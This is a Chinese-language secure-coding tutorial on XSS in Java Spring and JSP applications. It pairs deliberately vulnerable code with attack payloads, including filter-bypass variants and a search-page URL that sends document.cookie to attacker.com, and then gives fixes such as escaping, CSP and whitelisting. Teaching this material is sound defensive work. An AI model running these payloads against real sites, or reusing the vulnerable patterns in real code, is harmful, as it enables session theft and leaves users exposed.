Java XSS 漏洞案例分析
直接输出用户输入(最常见)
// 不安全的代码
@Controller
public class UserController {
@GetMapping("/profile")
@ResponseBody
public String getUserProfile(@RequestParam String username) {
return "<h1>User Profile: " + username + "</h1>";
}
}
// 攻击示例
// 请求: /profile?username=<script>alert('XSS')</script>
// 响应: <h1>User Profile: <script>alert('XSS')</script></h1>
JSP页面中的XSS
<!-- 不安全的JSP -->
<%@ page import="java.net.URLDecoder" %>
<%
String name = request.getParameter("name");
%>
<html>
<body>
<h1>Welcome, <%= name %>!</h1> <!-- XSS漏洞 -->
<!-- 更隐蔽的XSS -->
<div onclick="showUser('<%= name %>')">Click me</div>
<!--
攻击: name=');alert('XSS');//
结果: <div onclick="showUser('');alert('XSS');//')">Click me</div>
-->
</body>
</html>
JSON数据中的XSS
// 不安全的API
@RestController
public class ApiController {
@GetMapping("/api/user")
public String getUser(@RequestParam String name) {
// 将用户输入直接放入JSON
String json = "{\"name\":\"" + name + "\",\"role\":\"user\"}";
return json;
}
}
// 攻击示例
// 请求: /api/user?name=John</script><script>alert('XSS')</script>
// 返回字符串中包含了恶意脚本
文件上传中的XSS
// 不安全的文件处理
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
String fileName = file.getOriginalFilename();
// 直接将文件名显示在页面上
return "File: <div>" + fileName + "</div>";
// 攻击: 上传文件名为: <img src=x onerror=alert('XSS')>.txt
}
反射型XSS案例
@Controller
public class SearchController {
@RequestMapping("/search")
public String search(@RequestParam String keyword, Model model) {
List<String> results = searchService.search(keyword);
// 不安全的做法:直接将关键字显示在页面
StringBuilder html = new StringBuilder();
html.append("<h2>Search results for: ");
html.append(keyword); // XSS漏洞
html.append("</h2>");
model.addAttribute("searchResult", html.toString());
return "search";
}
// 攻击URL: /search?keyword=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
}
存储型XSS案例
@Entity
public class Comment {
private String content; // 用户输入的评论内容
}
@Controller
public class CommentController {
@PostMapping("/comment")
public String addComment(@RequestParam String content) {
Comment comment = new Comment();
comment.setContent(content); // 直接存储恶意内容
commentRepository.save(comment);
return "redirect:/comments";
}
@GetMapping("/comments")
public String showComments(Model model) {
List<Comment> comments = commentRepository.findAll();
model.addAttribute("comments", comments);
return "comments";
}
}
<!-- comments.jsp - 不安全的展示 -->
<c:forEach items="${comments}" var="comment">
<div class="comment">
${comment.content} <!-- XSS漏洞: 直接输出用户输入 -->
</div>
</c:forEach>
DOM型XSS案例
// JavaScript中的XSS
@Controller
public class DomXSSController {
@GetMapping("/dom-xss")
public String domXSS(@RequestParam String username, Model model) {
model.addAttribute("username", username);
return "dom-xss";
}
}
<!-- dom-xss.jsp -->
<script>
// 不安全的DOM操作
var username = "${username}"; // 从服务器获取
document.getElementById("welcome").innerHTML = "Welcome, " + username;
// 或者使用eval
var userInput = "${userInput}";
eval(userInput); // 极度危险!
</script>
绕过简单过滤的XSS
@Controller
public class BypassXSSController {
@GetMapping("/comment")
public String comment(@RequestParam String content) {
// 简单过滤(可能被绕过)
String filtered = content
.replace("<script>", "")
.replace("</script>", "");
// 仍然存在风险:
// 1. 大小写绕过: <ScRiPt>alert('XSS')</SCRIPT>
// 2. 双写绕过: <scr<script>ipt>alert('XSS')</script>
// 3. 其他标签: <img src=x onerror=alert('XSS')>
// 4. 事件处理: <body onload=alert('XSS')>
// 5. SVG: <svg onload=alert('XSS')>
return "<div>" + filtered + "</div>";
}
}
安全修复方案
// 方案1: HTML编码
import org.apache.commons.text.StringEscapeUtils;
@GetMapping("/safe-profile")
@ResponseBody
public String safeProfile(@RequestParam String username) {
// 对输出进行HTML编码
String safeUsername = StringEscapeUtils.escapeHtml4(username);
return "<h1>User Profile: " + safeUsername + "</h1>";
}
// 方案2: 使用模板引擎(Thymeleaf自动转义)
@Controller
public class SafeController {
@GetMapping("/safe")
public String safe(@RequestParam String username, Model model) {
model.addAttribute("username", username);
return "safe-template";
}
}
<!-- safe-template.html - Thymeleaf自动转义 -->
<h1 th:text="${username}">Default Name</h1>
// 方案3: 使用Content Security Policy
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self'");
}
}
// 方案4: 输入验证和白名单
public class InputValidator {
public static String sanitize(String input) {
// 允许安全的HTML标签
return Jsoup.clean(input,
Whitelist.basic()
.addTags("b", "i", "u", "p", "br")
);
}
}
// 综合防护方案
@ControllerAdvice
public class XSSProtectionAdvice {
// 全局输出编码
@ModelAttribute
public void addAttributes(Model model) {
model.addAttribute("xssEncoder", new XSSEncoder());
}
// 输入验证
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.registerCustomEditor(String.class, new StringTrimmerEditor(true));
}
}
// 自定义编码器
public class XSSEncoder {
public String encode(String value) {
if (value == null) return null;
return StringEscapeUtils.escapeHtml4(value);
}
public String encodeJavaScript(String value) {
if (value == null) return null;
return StringEscapeUtils.escapeEcmaScript(value);
}
public String encodeURL(String value) {
if (value == null) return null;
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
最佳实践:

- 始终对输出进行编码
- 使用模板引擎的自动转义功能
- 实施输入验证和白名单
- 配置Content Security Policy
- 定期进行安全审计和渗透测试